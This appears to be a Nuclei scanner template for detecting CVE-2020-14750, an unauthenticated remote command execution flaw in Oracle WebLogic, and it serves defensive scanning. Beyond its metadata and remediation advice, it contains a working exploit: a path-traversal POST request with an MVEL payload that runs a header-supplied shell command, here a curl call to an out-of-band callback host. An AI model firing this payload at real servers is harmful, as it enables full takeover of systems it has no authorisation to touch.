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id : CVE-2020-14750
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info :
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name : Oracle WebLogic Server - Remote Command Execution
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author : princechaddha,DhiyaneshDk
severity : critical
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description : |
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Oracle WebLogic Server 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0 is susceptible to remote code execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised machine without entering necessary credentials. See also CVE-2020-14882, which is addressed in the October 2020 Critical Patch Update.
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impact : |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with the privileges of the WebLogic server.
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remediation : |
Apply the latest security patches provided by Oracle to mitigate this vulnerability.
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reference :
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- https://github.com/pprietosanchez/CVE-2020-14750
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- https://www.oracle.com/security-alerts/alert-cve-2020-14750.html
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- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14750
- https://nvd.nist.gov/vuln/detail/CVE-2020-14750
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- http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2020-14750
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epss-score : 0.97553
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epss-percentile : 0.99995
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cpe : cpe:2.3:a:oracle:fusion_middleware:10.3.6.0:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 1
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vendor : oracle
product : fusion_middleware
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shodan-query : http.html:"Weblogic Application Server"
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tags : cve,cve2020,rce,oracle,weblogic,unauth,kev,packetstorm
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http :
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- raw :
- |
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@timeout : 10s
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POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host : {{Hostname}}
Accept : */*
cmd : curl {{interactsh-url}}
Content-Type : application/x-www-form-urlencoded
_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
if (cmd != null) {
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}executeThread.interrupt();
");
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matchers-condition : and
matchers :
- type : word
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part : interactsh_protocol # Confirms DNS Interaction
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words :
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- "dns"
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- type : word
part : header
words :
- "ADMINCONSOLESESSION="
- type : regex
part : body
regex :
- '<html><head></head><body>(.*)</body></html>'
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# digest: 4b0a00483046022100d456332b8b00412663a85fa0990e2e2d451bd39b300c0f69f35e952187acf8c4022100d9414ed1d90700b4e309e66e34bc427dc0f539d342a40f331848d61b23ae2feb:922c64590222798bb761d5b6d8e72950
